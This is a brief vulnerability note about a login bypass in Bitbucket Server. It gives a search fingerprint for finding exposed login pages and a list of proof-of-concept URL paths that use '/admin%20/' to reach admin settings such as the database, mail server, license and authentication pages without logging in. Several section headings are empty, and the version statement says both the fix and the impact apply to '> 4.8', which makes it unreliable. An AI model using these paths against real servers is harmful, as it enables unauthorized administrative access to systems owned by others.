Bitbucket Login Bypass Vulnerability

Bitbucket Login bypass vulnerability

Vulnerability Description

This error has been fixed and deployed on Bitbucket Server > 4.8.

Vulnerability Impact

Bitbucket Server > 4.8

Network surveying and mapping

title=”Log in - Bitbucket”

Vulnerability reappears

Login page

Verify POC

/admin%20/mail-server
/admin%20/db
/admin%20/db/edit
/admin%20/license
/admin%20/logging
/admin%20/server-settings
/admin%20/authentication
/admin%20/avatars